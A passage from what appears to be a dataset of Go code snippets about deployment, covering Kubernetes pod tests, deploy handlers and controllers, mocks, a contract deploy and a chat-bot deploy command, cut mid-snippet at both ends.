version in use is compiled against K8s version < 1.18\n\t//https://helm.sh/docs/topics/version_skew/#supported-version-skew\n\trequire.Equal(t, int32(0), pod.Containers[0].LivenessProbe.InitialDelaySeconds)\n\trequire.Equal(t, int32(20), pod.Containers[0].LivenessProbe.TimeoutSeconds)\n\trequire.Equal(t, int32(30), pod.Containers[0].LivenessProbe.PeriodSeconds)\n\trequire.Equal(t, int32(1), pod.Containers[0].LivenessProbe.SuccessThreshold)\n\trequire.Equal(t, int32(3), pod.Containers[0].LivenessProbe.FailureThreshold)\n\trequire.Equal(t, \"/prweb/PRRestService/monitor/pingService/ping\", pod.Containers[0].LivenessProbe.HTTPGet.Path)\n\trequire.Equal(t, intstr.FromInt(8081), pod.Containers[0].LivenessProbe.HTTPGet.Port)\n\trequire.Equal(t, k8score.URIScheme(\"HTTP\"), pod.Containers[0].LivenessProbe.HTTPGet.Scheme)\n\n\trequire.Equal(t, int32(0), pod.Containers[0].ReadinessProbe.InitialDelaySeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].ReadinessProbe.TimeoutSeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].ReadinessProbe.PeriodSeconds)\n\trequire.Equal(t, int32(1), pod.Containers[0].ReadinessProbe.SuccessThreshold)\n\trequire.Equal(t, int32(3), pod.Containers[0].ReadinessProbe.FailureThreshold)\n\trequire.Equal(t, \"/prweb/PRRestService/monitor/pingService/ping\", pod.Containers[0].ReadinessProbe.HTTPGet.Path)\n\trequire.Equal(t, intstr.FromInt(8080), pod.Containers[0].ReadinessProbe.HTTPGet.Port)\n\trequire.Equal(t, k8score.URIScheme(\"HTTP\"), pod.Containers[0].ReadinessProbe.HTTPGet.Scheme)\n\n\trequire.Equal(t, int32(10), pod.Containers[0].StartupProbe.InitialDelaySeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].StartupProbe.TimeoutSeconds)\n\trequire.Equal(t, int32(10), pod.Containers[0].StartupProbe.PeriodSeconds)\n\trequire.Equal(t, int32(1), pod.Containers[0].StartupProbe.SuccessThreshold)\n\trequire.Equal(t, int32(30), pod.Containers[0].StartupProbe.FailureThreshold)\n\trequire.Equal(t, \"/prweb/PRRestService/monitor/pingService/ping\", pod.Containers[0].StartupProbe.HTTPGet.Path)\n\trequire.Equal(t, intstr.FromInt(8080), pod.Containers[0].StartupProbe.HTTPGet.Port)\n\trequire.Equal(t, k8score.URIScheme(\"HTTP\"), pod.Containers[0].StartupProbe.HTTPGet.Scheme)\n\n\trequire.Equal(t, getObjName(options, \"-registry-secret\"), pod.ImagePullSecrets[0].Name)\n\trequire.Equal(t, k8score.RestartPolicy(\"Always\"), pod.RestartPolicy)\n\trequire.Equal(t, int64(300), *pod.TerminationGracePeriodSeconds)\n\trequire.Equal(t, \"pega-volume-config\", pod.Containers[0].VolumeMounts[0].Name)\n\trequire.Equal(t, \"/opt/pega/config\", pod.Containers[0].VolumeMounts[0].MountPath)\n\trequire.Equal(t, \"pega-volume-config\", pod.Volumes[0].Name)\n\trequire.Equal(t, \"pega-volume-credentials\", pod.Volumes[1].Name)\n\trequire.Equal(t, getObjName(options, \"-credentials-secret\"), pod.Volumes[1].Projected.Sources[0].Secret.Name)\n\n}", "func (a *Client) TriggerPipelineDeploy(params *TriggerPipelineDeployParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*TriggerPipelineDeployOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewTriggerPipelineDeployParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"triggerPipelineDeploy\",\n\t\tMethod: \"POST\",\n\t\tPathPattern: \"/applications/{appName}/pipelines/deploy\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &TriggerPipelineDeployReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*TriggerPipelineDeployOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for triggerPipelineDeploy: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (m *MockDeployer) Deploy(arg0 cloud.Cloud, arg1 manifest.Manifest, arg2 stemcell.CloudStemcell, arg3 vm.Manager, arg4 blobstore.Blobstore, arg5 bool, arg6 ui.Stage) (deployment.Deployment, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Deploy\", arg0, arg1, arg2, arg3, arg4, arg5, arg6)\n\tret0, _ := ret[0].(deployment.Deployment)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (g *smartContractGW) PostDeploy(msg *messages.TransactionReceipt) error {\n\n\trequestID := msg.Headers.ReqID\n\n\t// We use the ethereum address of the contract, without the 0x prefix, and\n\t// all in lower case, as the name of the file and the path root of the Swagger operations\n\tif msg.ContractAddress == nil {\n\t\treturn ethconnecterrors.Errorf(ethconnecterrors.RESTGatewayPostDeployMissingAddress, requestID)\n\t}\n\taddrHexNo0x := strings.ToLower(msg.ContractAddress.Hex()[2:])\n\n\t// Generate and store the swagger\n\tbasePath := \"/contracts/\"\n\tisRemote := isRemote(msg.Headers.CommonHeaders)\n\tif isRemote {\n\t\tbasePath = \"/instances/\"\n\t}\n\tregisteredName := msg.RegisterAs\n\tif registeredName == \"\" {\n\t\tregisteredName = addrHexNo0x\n\t}\n\n\tif msg.Headers.MsgType == messages.MsgTypeTransactionSuccess {\n\t\tmsg.ContractSwagger = g.conf.BaseURL + basePath + registeredName + \"?openapi\"\n\t\tmsg.ContractUI = g.conf.BaseURL + basePath + registeredName + \"?ui\"\n\n\t\tvar err error\n\t\tif isRemote {\n\t\t\tif msg.RegisterAs != \"\" {\n\t\t\t\terr = g.rr.registerInstance(msg.RegisterAs, \"0x\"+addrHexNo0x)\n\t\t\t}\n\t\t} else {\n\t\t\t_, err = g.storeNewContractInfo(addrHexNo0x, requestID, registeredName, msg.RegisterAs)\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}", "func (mr *MockTenantServiceDaoMockRecorder) UpdateDeployVersion(serviceID, deployversion interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateDeployVersion\", reflect.TypeOf((*MockTenantServiceDao)(nil).UpdateDeployVersion), serviceID, deployversion)\n}", "func (s *Service) deploy(ctx context.Context, pathToKey, passphrase string) error {\n\tkeyReader, err := os.Open(pathToKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer keyReader.Close()\n\n\tauth, err := bind.NewTransactorWithChainID(keyReader, passphrase, big.NewInt(goerliTestnetChainID))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\taddress, transaction, store, err := bindings.DeployStore(auth, s.client)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.store = store\n\n\tfmt.Println(\"✨ Contract address (pending deploy): \", address.Hex())\n\tfmt.Println(\"🏦 Transaction hash (waiting to be mined): \", transaction.Hash())\n\tfmt.Println(\"🚀 Successfully deployed contract :)\")\n\n\treturn nil\n}", "func (p *provider) deploy(req handlers.ResourceDeployRequest) (*handlers.ResourceDeployResult, error) {\n\tvar result handlers.ResourceDeployResult\n\n\t// get resource info : tmc + extension info\n\tresourceInfo, err := p.defaultHandler.GetResourceInfo(&req)\n\tdefer func() {\n\t\t// callback to orchestrator\n\t\tif len(req.Callback) == 0 {\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\tp.defaultHandler.Callback(req.Callback, req.Uuid, false, nil, req.Options, err.Error())\n\t\t} else {\n\t\t\tp.defaultHandler.Callback(req.Callback, result.ID, true, result.Config, result.Options, \"\")\n\t\t}\n\t}()\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to defaultHandler.GetResourceInfo for %s:%s/%s\", req.Engine, req.Options[\"version\"], req.Az)\n\t}\n\n\thandler := p.findHandler(resourceInfo.Tmc)\n\tif handler == nil {\n\t\treturn nil, fmt.Errorf(\"could not find deploy handler for %s\", req.Engine)\n\t}\n\n\t// pre-check if it needs to further deploy\n\ttmcInstance, needDeployInstance, err := handler.CheckIfNeedTmcInstance(&req, resourceInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to CheckIfNeedTmcInstance for %s/%s\", req.Engine, req.Az)\n\t}\n\ttenant, needApplyTenant, err := handler.CheckIfNeedTmcInstanceTenant(&req, resourceInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to CheckIfNeedTmcInstanceTenant for %s/%s\", req.Engine, req.Az)\n\t}\n\tp.Log.Infof(\"[%s/%s] check if it needs to deploy tmc instance: %v, needs to apply tenant: %v\\n\",\n\t\treq.Engine, req.Az, needDeployInstance, needApplyTenant)\n\n\tvar subResults []*handlers.ResourceDeployResult\n\t// resolve dependency resources\n\tif needApplyTenant || needDeployInstance {\n\t\t// for some resource like monitor, do not has dice.yml definition\n\t\tif resourceInfo.Dice != nil && resourceInfo.Dice.AddOns != nil {\n\t\t\tdefer func() {\n\t\t\t\t// delete related sub resources if error occur\n\t\t\t\tif err == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tfor _, subResult := range subResults {\n\t\t\t\t\tp.UnDeploy(subResult.ID)\n\t\t\t\t\thandler.DeleteRequestRelation(req.Uuid, subResult.ID)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\tfor name, addon := range resourceInfo.Dice.AddOns {\n\t\t\t\t// deploy dependency resource recursive\n\t\t\t\tsubReq := handler.BuildSubResourceDeployRequest(name, addon, &req)\n\t\t\t\tif subReq == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tvar subResult *handlers.ResourceDeployResult\n\t\t\t\tsubResult, err = p.Deploy(*subReq)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrapf(err, \"failed to Deploy sub addon %s:%s/%s\", subReq.Engine, subReq.Options[\"version\"], subReq.Az)\n\t\t\t\t}\n\t\t\t\tsubResults = append(subResults, subResult)\n\t\t\t\thandler.BuildRequestRelation(req.Uuid, subResult.ID)\n\t\t\t}\n\t\t}\n\t}\n\n\t// create tmc_instance record if necessary\n\tvar clusterConfig map[string]string\n\tclusterConfig, err = handler.GetClusterConfig(req.Az)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to GetClusterConfig(%s)\", req.Az)\n\t}\n\tif needDeployInstance {\n\t\t// initialize tmc_instance\n\t\ttmcInstance, err = handler.InitializeTmcInstance(&req, resourceInfo, subResults)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to InitializeTmcInstance\")\n\t\t}\n\t\tdefer func() {\n\t\t\t// delete instance if error occur,\n\t\t\t// if tmcInstance status is RUNNING skip delete even if error\n\t\t\tif err == nil || tmcInstance.Status == handlers.TmcInstanceStatusRunning {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thandler.DeleteTmcInstance(tmcInstance, handlers.TmcInstanceStatusError)\n\t\t}()\n\n\t\t// if is custom resource, do not real deploy, just update config and simply mark status as RUNNING\n\t\tcustomConfig, hasCustom := handler.CheckIfHasCustomConfig(clusterConfig)\n\t\tif hasCustom {\n\t\t\thandler.UpdateTmcInstanceOnCustom(tmcInstance, customConfig)\n\t\t} else {\n\t\t\t// do pre-deploy job if any\n\t\t\tif err = handler.DoPreDeployJob(resourceInfo, tmcInstance); err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"failed to DoPreDeployJob\")\n\t\t\t}\n\n\t\t\t// do deploy and wait for ready\n\t\t\tvar sgDeployResult interface{}\n\t\t\tif resourceInfo.Dice == nil || resourceInfo.Dice.Services == nil || len(resourceInfo.Dice.Services) == 0 {\n\t\t\t\t// some resource do not need real deploy, e.g. configcenter.\n\t\t\t\t// this kind of resource do not have services section defined in dice.yml\n\t\t\t\t// just mock a success response\n\t\t\t\tsgDeployResult = &apistructs.ServiceGroup{\n\t\t\t\t\tStatusDesc: apistructs.StatusDesc{Status: apistructs.StatusReady},\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsgReq := handler.BuildServiceGroupRequest(resourceInfo, tmcInstance, clusterConfig)\n\t\t\t\tsgDeployResult, err = handler.DoDeploy(sgReq, resourceInfo, tmcInstance, clusterConfig)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"failed to DoDeploy\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// do post-deploy job if any\n\t\t\tadditionalConfig := map[string]string{}\n\t\t\tadditionalConfig, err = handler.DoPostDeployJob(tmcInstance, sgDeployResult, clusterConfig)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrapf(err, \"failed to DoPostDeployJob for tmc_instance %+v\", tmcInstance)\n\t\t\t}\n\n\t\t\t// update tmc_instance config and status\n\t\t\tconfig := handler.BuildTmcInstanceConfig(tmcInstance, sgDeployResult, clusterConfig, additionalConfig)\n\t\t\thandler.UpdateTmcInstanceOnFinish(tmcInstance, config, handlers.TmcInstanceStatusRunning)\n\t\t}\n\t}\n\n\tif needApplyTenant {\n\t\t// create tmc_instance_tenant record\n\t\ttenant, err = handler.InitializeTmcInstanceTenant(&req, tmcInstance, subResults)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to InitializeTmcInstanceTenant\")\n\t\t}\n\t\tdefer func() {\n\t\t\t// delete tenant if error occur\n\t\t\tif err == nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\thandler.DeleteTenant(tenant, tmcInstance, clusterConfig)\n\t\t}()\n\n\t\t// deploy tmc_instance_tenant\n\t\tvar config map[string]string\n\t\tconfig, err = handler.DoApplyTmcInstanceTenant(&req, resourceInfo, tmcInstance, tenant, clusterConfig)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to DoApplyTmcInstanceTenant for %+v\", tmcInstance)\n\t\t}\n\n\t\t// update and persistent applied config\n\t\ttenant, err = handler.UpdateTmcInstanceTenantOnFinish(tenant, config)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to UpdateTmcInstanceTenantOnFinish\")\n\t\t}\n\t}\n\n\tresult = handler.BuildDeployResult(tmcInstance, tenant)\n\n\treturn &result, nil\n}", "func (c *addDutRun) triggerDeploy(ctx context.Context, ic fleet.InventoryClient, specs []*inventory.DeviceUnderTest) (string, error) {\n\tserialized, err := serializeMany(specs)\n\tif err != nil {\n\t\treturn \"\", errors.Annotate(err, \"trigger deploy\").Err()\n\t}\n\n\tresp, err := ic.DeployDut(ctx, &fleet.DeployDutRequest{\n\t\tNewSpecs: serialized,\n\t\tActions: &fleet.DutDeploymentActions{\n\t\t\tStageImageToUsb: c.stageImageToUsb(),\n\t\t\tInstallFirmware: !c.skipInstallFirmware,\n\t\t\tInstallTestImage: !c.skipInstallOS,\n\t\t},\n\t\tOptions: &fleet.DutDeploymentOptions{\n\t\t\tAssignServoPortIfMissing: true,\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn \"\", errors.Annotate(err, \"trigger deploy\").Err()\n\t}\n\treturn resp.GetDeploymentId(), nil\n}", "func (c *Context) CreateDeploy(job *work.Job) error {\n // Extract args from job.\n deployUid := job.ArgString(\"deployUid\")\n deployName := job.ArgString(\"name\")\n apiClusterID := uint(job.ArgInt64(\"apiClusterID\"))\n modelVersionID := uint(job.ArgInt64(\"modelVersionID\"))\n sha := job.ArgString(\"sha\")\n envs := job.ArgString(\"envs\")\n logKey := job.ArgString(\"logKey\")\n\n if err := job.ArgError(); err != nil {\n if logKey != \"\" {\n return logBuildableErr(err, logKey, \"Arg error occurred inside create deploy job.\")\n }\n\n app.Log.Errorln(err.Error())\n return err\n }\n\n // Find ApiCluster by ID.\n apiCluster, err := apiclustersvc.FromID(apiClusterID)\n if err != nil {\n return logBuildableErr(err, logKey, \"API cluster not found.\")\n }\n\n // Find ModelVersion by ID.\n modelVersion, err := modelversionsvc.FromID(modelVersionID)\n if err != nil {\n return logBuildableErr(err, logKey, \"Model version not found.\")\n }\n\n // Store ref to project.\n project := &modelVersion.Model.Project\n\n // If sha provided, find Commit by that value. Otherwise, fetch latest commit from repo.\n commit, err := commitsvc.FromShaOrLatest(sha, project)\n if err != nil {\n return logBuildableErr(err, logKey, \"Error finding commit sha to deploy.\")\n }\n\n // Upsert Deploy.\n deploy, isNew, err := deploysvc.Upsert(\n commit.ID,\n modelVersion.ID,\n apiCluster.ID,\n deployUid,\n deployName,\n )\n\n if err != nil {\n return logBuildableErr(err, logKey, \"Failed to upsert deploy.\")\n }\n\n // If Deploy already exists, return an \"Everything up-to-date.\" message.\n if !isNew {\n // TODO: stream back a success message with \"Everything up-to-date.\"\n return nil\n }\n\n // Convert stringified envs into map[string]string representation.\n envsMap, err := envvarsvc.MapFromBytes([]byte(envs))\n if err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to parse deploy environment variables.\")\n }\n\n // Create EnvVars for this Deploy.\n if err := envvarsvc.CreateFromMap(deploy.ID, envsMap); err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to create deploy environment variables.\")\n }\n\n // Define args for the BuildDeploy job.\n jobArgs := work.Q{\n \"resourceID\": deploy.ID,\n \"buildTargetSha\": commit.Sha,\n \"projectID\": project.ID,\n \"targetCluster\": cluster.Api,\n \"logKey\": logKey,\n \"followOnJob\": Names.ApiDeploy,\n \"followOnArgs\": enc.JSON{\n \"deployID\": deploy.ID,\n \"logKey\": logKey,\n },\n }\n\n // Enqueue new job to build this Project for the ApiCluster.\n if _, err := app.JobQueue.Enqueue(Names.BuildDeploy, jobArgs); err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to schedule build deploy job.\")\n }\n\n // Update deploy stage to BuildScheduled.\n if err := deploysvc.UpdateStage(deploy, model.BuildStages.BuildScheduled); err != nil {\n return failDeploy(deploy.ID, err, logKey, \"Failed to update stage of deploy.\")\n }\n\n return nil\n}", "func waitForDeployToProcess(currentVersion time.Time, name, ip string) bool {\n\tebo := backoff.NewExponentialBackOff()\n\tebo.MaxElapsedTime = 10 * time.Second\n\tdeployError := backoff.Retry(safe.OperationWithRecover(func() error {\n\t\t// Configuration should have deployed successfully, confirm version match.\n\t\tnewVersion, exists, newErr := getDeployedVersion(ip)\n\t\tif newErr != nil {\n\t\t\treturn fmt.Errorf(\"could not get newly deployed configuration version: %v\", newErr)\n\t\t}\n\t\tif exists {\n\t\t\tif currentVersion.Equal(newVersion) {\n\t\t\t\t// The version we are trying to deploy is confirmed.\n\t\t\t\t// Return nil, to break out of the ebo.\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"deployment was not successful\")\n\t}), ebo)\n\n\tif deployError == nil {\n\t\t// The version we are trying to deploy is confirmed.\n\t\t// Return true, so that it will be removed from the deploy queue.\n\t\tlog.Debugf(\"Successfully deployed version for pod %s: %s\", name, currentVersion)\n\t\treturn true\n\t}\n\treturn false\n}", "func (c *controller) DeployKubernetesService(\n\tctx context.Context,\n\tsvcConf *KubernetesService,\n) error {\n\n\tdesiredDeployment, desiredSvc := svcConf.BuildKubernetesServiceConfig()\n\n\t// Deploy deployment\n\tdeployments := c.k8sAppsClient.Deployments(svcConf.Namespace)\n\t// Check if deployment already exists. If exists, update it. If not, create.\n\tvar existingDeployment *apiappsv1.Deployment\n\tvar err error\n\texistingDeployment, err = deployments.Get(svcConf.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\tif k8serrors.IsNotFound(err) {\n\t\t\t// Create new deployment\n\t\t\t_, err = deployments.Create(desiredDeployment)\n\t\t} else {\n\t\t\t// Unexpected error, return it\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// Check for differences between current and new specs\n\t\tif !k8sDeploymentSemanticEquals(desiredDeployment, existingDeployment) {\n\t\t\t// Update the existing service with the new config\n\t\t\texistingDeployment.Spec.Template = desiredDeployment.Spec.Template\n\t\t\texistingDeployment.ObjectMeta.Labels = desiredDeployment.ObjectMeta.Labels\n\t\t\t_, err = deployments.Update(existingDeployment)\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Deploy Service\n\tservices := c.k8sCoreClient.Services(svcConf.Namespace)\n\t// Check if service already exists. If exists, update it. If not, create.\n\tvar existingSvc *apicorev1.Service\n\texistingSvc, err = services.Get(svcConf.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\tif k8serrors.IsNotFound(err) {\n\t\t\t// Create new service\n\t\t\t_, err = services.Create(desiredSvc)\n\t\t} else {\n\t\t\t// Unexpected error, return it\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// Check for differences between current and new specs\n\t\tif !k8sServiceSemanticEquals(desiredSvc, existingSvc) {\n\t\t\t_, err = services.Update(desiredSvc)\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Wait until deployment ready and return any errors\n\treturn c.waitDeploymentReady(ctx, svcConf.Name, svcConf.Namespace)\n}", "func (mr *MockVersionInfoDaoMockRecorder) GetVersionByDeployVersion(version, serviceID interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetVersionByDeployVersion\", reflect.TypeOf((*MockVersionInfoDao)(nil).GetVersionByDeployVersion), version, serviceID)\n}", "func (ac *applicationController) TriggerPipelineDeploy(accounts models.Accounts, w http.ResponseWriter, r *http.Request) {\n\t// swagger:operation POST /applications/{appName}/pipelines/deploy application triggerPipelineDeploy\n\t// ---\n\t// summary: Run a deploy pipeline for a given application and environment\n\t// parameters:\n\t// - name: appName\n\t// in: path\n\t// description: Name of application\n\t// type: string\n\t// required: true\n\t// - name: PipelineParametersDeploy\n\t// description: Pipeline parameters\n\t// in: body\n\t// required: true\n\t// schema:\n\t// \"$ref\": \"#/definitions/PipelineParametersDeploy\"\n\t// - name: Impersonate-User\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test users (Required if Impersonate-Group is set)\n\t// type: string\n\t// required: false\n\t// - name: Impersonate-Group\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test group (Required if Impersonate-User is set)\n\t// type: array\n\t// items:\n\t// type: string\n\t// required: false\n\t// responses:\n\t// \"200\":\n\t// description: Successful trigger pipeline\n\t// schema:\n\t// \"$ref\": \"#/definitions/JobSummary\"\n\t// \"403\":\n\t// description: \"Forbidden\"\n\t// \"404\":\n\t// description: \"Not found\"\n\tappName := mux.Vars(r)[\"appName\"]\n\n\thandler := ac.applicationHandlerFactory(accounts)\n\tjobSummary, err := handler.TriggerPipelineDeploy(r.Context(), appName, r)\n\n\tif err != nil {\n\t\tradixhttp.ErrorResponse(w, r, err)\n\t\treturn\n\t}\n\n\tradixhttp.JSONResponse(w, r, &jobSummary)\n}", "func MockDeploy() appsv1.Deployment {\n\tp := MockPod()\n\td := appsv1.Deployment{\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tTemplate: corev1.PodTemplateSpec{Spec: p.Spec},\n\t\t},\n\t}\n\treturn d\n}", "func (apiHandler *ApiHandler) handleDeploy(request *restful.Request, response *restful.Response) {\n\tappDeploymentSpec := new(AppDeploymentSpec)\n\tif err := request.ReadEntity(appDeploymentSpec); err != nil {\n\t\thandleInternalError(response, err)\n\t\treturn\n\t}\n\tif err := DeployApp(appDeploymentSpec, apiHandler.client); err != nil {\n\t\thandleInternalError(response, err)\n\t\treturn\n\t}\n\n\tresponse.WriteHeaderAndEntity(http.StatusCreated, appDeploymentSpec)\n}", "func Deploy(clusterName string) (error) {\n\tk8Definition, err := getDeployment(clusterName)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn k8client.Apply(k8Definition)\n}", "func Deploy(ctx context.Context, k8sRepo config.KubernetesConfigsRepo, texts []string, message, caller string) (messages []string, err error) {\n\tif !DeployWorker.isRunning {\n\t\treturn nil, errors.New(\"deploy worker is not running\")\n\t}\n\n\tif len(texts) < 1 {\n\t\treturn nil, errors.New(\"call help\")\n\t}\n\n\t// Compare and retrieve the repo before we engage the deployment, so we can pass the repo to deploy worker for clearer intention\n\tcodebases := k8sRepo.Configs\n\trepoNameInCMD, texts := pop(texts, 0)\n\tvar codebase *config.Codebase\n\tfor _, c := range codebases {\n\t\tif repoNameInCMD == c.Repo {\n\t\t\tcodebase = &c\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif codebase == nil {\n\t\treturn nil, errors.New(\"invalid repo name\")\n\t}\n\n\t// deploy requires env only and it only supports image-tag only\n\n\ttexts, stage, err := popValue(texts, \"env\", \"=\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"getting env for deployment encountered an error\")\n\t} else if stage == \"prod\" {\n\t\treturn nil, errors.New(\"deploy command doesn't support prod env\")\n\t}\n\n\ttexts, image, err := popValue(texts, \"image-tag\", \"=\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"getting image-tag for deployment encountered an error\")\n\t}\n\n\tif len(texts) != 0 {\n\t\treturn nil, errors.New(\"Major Tom does not support: \" + strings.Join(texts, \", \"))\n\t}\n\n\ttimeout := 5 * time.Minute\n\tch := make(chan response)\n\tnewCtx := context.WithValue(ctx, mjcontext.ResponseChannel, ch)\n\tnewCtx, cancelFn := context.WithTimeout(newCtx, timeout)\n\tdefer cancelFn()\n\tdeployChannel <- Deployment{\n\t\tctx: newCtx,\n\t\tcodebase: codebase,\n\t\tstage: stage,\n\t\timageTag: image,\n\t\tcaller: caller,\n\t\tmessage: message,\n\t}\n\n\tselect {\n\tcase commandResponse := <-ch:\n\t\treturn commandResponse.Messages, commandResponse.Error\n\tcase <-newCtx.Done():\n\t\treturn nil, errors.Errorf(\"\\\"%s\\\" command has timeouted(%f)\", strings.Join(texts, \" \"), timeout.Minutes())\n\t}\n}", "func (d *Deployer) Deploy(obj *unstructured.Unstructured) error {\n\tfound := &unstructured.Unstructured{}\n\tfound.SetGroupVersionKind(obj.GroupVersionKind())\n\terr := d.client.Get(context.TODO(), types.NamespacedName{Name: obj.GetName(), Namespace: obj.GetNamespace()}, found)\n\tif err != nil {\n\t\tif errors.IsNotFound(err) {\n\t\t\tlog.Info(\"Create\", \"Kind:\", obj.GroupVersionKind(), \"Name:\", obj.GetName())\n\t\t\treturn d.client.Create(context.TODO(), obj)\n\t\t}\n\t\treturn err\n\t}\n\n\t// if resource has annotation skip-creation-if-exist: true, don't update it to keep customized changes from users\n\tmetadata, ok := obj.Object[\"metadata\"].(map[string]interface{})\n\tif ok {\n\t\tannotations, ok := metadata[\"annotations\"].(map[string]interface{})\n\t\tif ok && annotations != nil && annotations[config.AnnotationSkipCreation] != nil {\n\t\t\tif strings.ToLower(annotations[config.AnnotationSkipCreation].(string)) == \"true\" {\n\t\t\t\tlog.Info(\"Skip creation\", \"Kind:\", obj.GroupVersionKind(), \"Name:\", obj.GetName())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\tdeployerFn, ok := d.deployerFns[found.GetKind()]\n\tif ok {\n\t\treturn deployerFn(obj, found)\n\t}\n\treturn nil\n}", "func TestCmdDeploy_latestOk(t *testing.T) {\n\tvar existingDeployment *kapi.ReplicationController\n\tvar updatedConfig *deployapi.DeploymentConfig\n\n\tcommandClient := &deployCommandClientImpl{\n\t\tGetDeploymentFn: func(namespace, name string) (*kapi.ReplicationController, error) {\n\t\t\treturn existingDeployment, nil\n\t\t},\n\t\tUpdateDeploymentConfigFn: func(config *deployapi.DeploymentConfig) (*deployapi.DeploymentConfig, error) {\n\t\t\tupdatedConfig = config\n\t\t\treturn config, nil\n\t\t},\n\t\tUpdateDeploymentFn: func(deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeployment for %s/%s\", deployment.Namespace, deployment.Name)\n\t\t\treturn nil, nil\n\t\t},\n\t}\n\n\tc := &deployLatestCommand{client: commandClient}\n\n\tvalidStatusList := []deployapi.DeploymentStatus{\n\t\tdeployapi.DeploymentStatusComplete,\n\t\tdeployapi.DeploymentStatusFailed,\n\t}\n\n\tfor _, status := range validStatusList {\n\t\tconfig := deploytest.OkDeploymentConfig(1)\n\t\texistingDeployment = deploymentFor(config, status)\n\t\terr := c.deploy(config, ioutil.Discard)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t\t}\n\n\t\tif updatedConfig == nil {\n\t\t\tt.Fatalf(\"expected updated config\")\n\t\t}\n\n\t\tif e, a := 2, updatedConfig.LatestVersion; e != a {\n\t\t\tt.Fatalf(\"expected updated config version %d, got %d\", e, a)\n\t\t}\n\t}\n}", "func (mr *MockCdkClientMockRecorder) DeployApp(appDir, context interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DeployApp\", reflect.TypeOf((*MockCdkClient)(nil).DeployApp), appDir, context)\n}", "func (d *DeployManager) Deploy() (operationResult controllerutil.OperationResult, err error) {\n\n\tvar volumes []corev1.Volume\n\tvar volumeMounts []corev1.VolumeMount\n\tvar imagePullSecrets []corev1.LocalObjectReference\n\tvar depStrategy appsv1.DeploymentStrategy\n\tconfigParameter := \"\"\n\tappParameter := \"\"\n\tappsMap := 